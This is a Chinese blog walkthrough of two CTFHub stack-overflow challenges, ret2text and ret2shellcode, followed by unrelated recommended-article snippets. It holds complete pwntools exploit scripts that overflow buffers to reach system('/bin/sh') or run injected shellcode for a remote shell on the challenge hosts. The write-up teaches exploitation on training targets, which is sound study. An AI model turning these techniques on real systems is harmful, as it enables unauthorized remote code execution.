CTFHub[PWN技能树]——栈溢出_Angel~Yan的博客-程序员ITS203_ctfhub pwn

技术标签: CTFHub  PWN  


一、ret2text

  1. 例行检查,64位程序,没有开启任何保护
    在这里插入图片描述
  2. 本地运行一下情况,看看大概的情况
    在这里插入图片描述
  3. 64位ida载入,检索程序里的字符串发现了bin/sh
    在这里插入图片描述
    要满足条件才可以执行,但是我们可以直接跳转到0x4007B8去system(‘/bin/sh’)
    在这里插入图片描述
  4. 看main函数
    在这里插入图片描述
    第8行,gets函数读入没有限制数据的长度,明显的溢出,溢出ret到执行system(‘/bin/sh’)的地址即可
from pwn import *

#p=process('./pwn1')
p=remote("challenge-79d4d6a23952a67b.sandbox.ctfhub.com",24293)

payload='a'*(0x70+8)+p64(0x4007b8)

p.sendline(payload)

p.interactive()

在这里插入图片描述

二、ret2shellcode

  1. 例行检查,64位程序,仍然未开启任何保护
    在这里插入图片描述
  2. 本地运行一下,看看大概的情况,可以看到,给了我们一个栈上的地址
    在这里插入图片描述
  3. 64位ida载入,看main函数
    在这里插入图片描述
    一开始给了我们参数buf在栈上的地址,然后读入buf,12行,buf只有0x10,但是读入了0x400,明显的溢出漏洞
  4. 这题没有给我们提供现成的后门,加上没有nx保护,可以直接执行shellcode来获取shell
    设置一下环境参数,之后直接用pwntools生成shellcode
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
  1. 有了shellcode,然后就是shellcode写到哪里的问题
    本地运行的时候加上上图的代码,可以知道一开始输出了buf参数的地址,接收一下就获得了栈上的地址
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15:-1], 16) 

我们将shellcode写入ret,这样程序在返回的时候就直接去执行我们的shellcode了
所以我们的shellcode的地址是,0x10是buf的大小,第一个0x8是ebp,第二个是ret

shellcode_addr = buf_addr + 0x10+0x8+0x8 
  1. shellcode有了,shellcode的地址也有了,现在只要往这个地址传入shellcode即可完成利用
payload = 'a' * 24 + p64(shellcode_addr) + shellcode

完整exp:

#coding=utf-8
from pwn import *
import re

#context.log_level = "debug"
context.arch = 'amd64'

p=remote("challenge-b841961e5e4c03f8.sandbox.ctfhub.com",37282)

#p=process('./pwn2')
#gdb.attach(p)

buf_addr = p.recvuntil("]")

buf_addr = int(buf_addr[-15:-1], 16) 

shellcode_addr = buf_addr + 32  


shellcode = asm(shellcraft.sh())

payload = 'a' * 24 + p64(shellcode_addr) + shellcode
p.recv()
p.sendline(payload)
p.interactive()

在这里插入图片描述

技能树的题目现在就出了这么多,出了新的继续更新,接下来尝试历年真题

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/mcmuyanga/article/details/111411717

智能推荐

环境变量 - path_嘻嘻嘿嘿哈哈的博客-程序员ITS203_path内常用变量

环境变量(Environment Variables)环境变量一般是指在操作系统中用来**指定操作系统运行环境的一些参数。**如:临时文件夹位置和系统文件夹位置等。环境变量是在操作系统中一个具有特定名字的对象,它包含了一个或者多个应用程序所将使用到的信息。用户通过设置环境变量,来更好的运行进程。例如,Windows和DOS操作系统中的path环境变量,当要求系统运行一个程序而没有告诉它程序所在的完整路径时,系统除了在当前目录下面寻找此程序外,还会到path中指定的路径去找。环境变量 PATH操作系统

qt·如何在label中使用图片_狄奥尼索斯的博客-程序员ITS203

我们在显示图片时,需要添加进工程的资源文件,才能让工程访问这些图片,也是说你要显示图片,就要添加进工程。

正确配置maven后,在cmd运行mvn help:system显示BUILD FAILURE_zq0709的博客-程序员ITS203

错误报告:ownloading: http://maven.aliyun.com/nexus/content/groups/public/org/apache/maven/plugins/maven-clean-plugin/2.5/maven-clean-plugin-2.5.pom[WARNING] Failed to retrieve plugin descriptor for org....

本科小白到研究生的机器人学习经验推荐(小弟很佩服这位大佬)_鸿_H的博客-程序员ITS203

原文链接:https://zhuanlan.zhihu.com/p/22266788转载,好东西,说不定会影响一位刚入大学的小白,多年后,成为业界的大佬,造福大众。

AcWing 852. spfa判断负环(SPFA算法)_在森林中麋了鹿的博客-程序员ITS203_spfa算法判断负环

题目链接 : 点击查看题目描述 :给定一个 n 个点 m 条边的有向图,图中可能存在重边和自环, 边权可能为负数。请你判断图中是否存在负权回路。输入输出格式 :输入第一行包含整数 n 和 m。接下来 m 行每行包含三个整数 x,y,z,表示存在一条从点 x 到点 y 的有向边,边长为 z。输出如果图中存在负权回路,则输出 Yes,否则输出 No。输入输出样例 :输入3 31 2 -12 3 43 1 -4输出Yes题目分析 :用SPFA算法判断负环,仅需

随便推点

postman提交json,java后台对象接收不到_完美明天cxp的博客-程序员ITS203

一.postman使用就不多说了,直接上图:我们controller一般是这样接收:这样我们会接收到:没错我们会接收到null,但是postman提交成功。如图:这时候我们解决办法是给接收参数对象加上一个注解@RequestBody:本以为这样就ok了!在此请求出现页面415:由描述可以看到:服务端拒绝了请求,不能把你穿的参数转换成对应的格式。然后上网各种查询:1.在re...

原创,DockPanelSuite界面框架+MEF框架,实现高弹性、高扩展、免依赖插件式开发框架,长期更新(一)_以有崖求无崖的博客-程序员ITS203

在软件开发过程中,我们都在追求着实现高内聚、低耦合的模块化功能,模块之间的调用通过约定的接口,目的是使程序模块的可重用性、移植性大大增强。当然,这都是老生常谈的老知识了,一个标准模块化的开发过程便是由若干小模块组成了大模块,由大模块组成了完整的程序,就像堆积木一般。插件化开发,便是基于此思想,将一个个模块化的程序作为一块块积木,扩展既有的程序系统。之前C#要进行插件化开发,所需的核心技术是利用反射来实现,直到随着.net4.0发布一同推出的MEF框架面世,基于此框架,插件化开发实现起来更加优雅简洁。未完

Qt系列文章之二十七(基于QCamera摄像头使用)_Fu_Lin_的博客-程序员ITS203_qtcamera

前言本章将是Qt 媒体应用的最后一章节了,讲完本章,Qt媒体库的学习将到此为止!本章将学习Qt如何使用摄像头进行拍照和摄像等相关操作,下面先介绍以下有关Qt 摄像头的概述。摄像头控制概述Qt多媒体模块为摄像头控制提供了几个类,可以用于获取摄像头设备信息,通过摄像头进行拍照和录像。1、摄像头设备信息类QCameraInfo。QCameraInfo 用于获取系统的摄像头设备信息,有两个静态函数获取摄像头设备:QList<QCameraInfo> availableCameras(),

【机器学习】5种回归方法及其属性_ChenVast的博客-程序员ITS203

线性和逻辑回归通常是人们为机器学习和数据科学学习的第一个建模算法。两者都很棒,因为它们易于使用和解释。然而,它们固有的简单性也有一些缺点,在许多情况下它们并不是回归模型的最佳选择。实际上有几种不同类型的回归,每种都有自己的优点和缺点。在这篇文章中,我们将讨论7种最常见的回归算法及其属性。我们很快就会发现,他们中的许多人都偏向于在某些类型的情况下以及某些类型的数据中运作良好。最后,他的帖子将在您...

matlab曲线拟合法,MATLAB曲线拟合_梦双月的博客-程序员ITS203

曲线拟合实例:温度曲线问题气象部门观测到一天某些时刻的温度变化数据为:t012345678910T1315171416192624262729试描绘出温度变化曲线。曲线拟合就是计算出两组数据之间的一种函数关系,由此可描绘其变化曲线及估计非采集数据对应的变量信息。曲线拟合有多种方式,下面是一元函数采用最小二乘法对给定数据进行多项式曲线拟合,最后给出拟合的多项式系数。1.线性拟合函数:regress(...

Linux安装php-mysql提示需要:libmysqlclient.so.18()(64bit)的解决办法_ayijian4912的博客-程序员ITS203

Linux安装php-mysql提示需要:libmysqlclient.so.18()(64bit)的解决办法在LNMP编译环境下安装zabbix会出现执行:yum -y install net-snmp-devel 会报错缺少net-snmp 以及尾部显示缺少libmysqlclient执行编辑zabbix编译版权声明:本文为博主原创文章,遵循...

推荐文章

热门文章

相关标签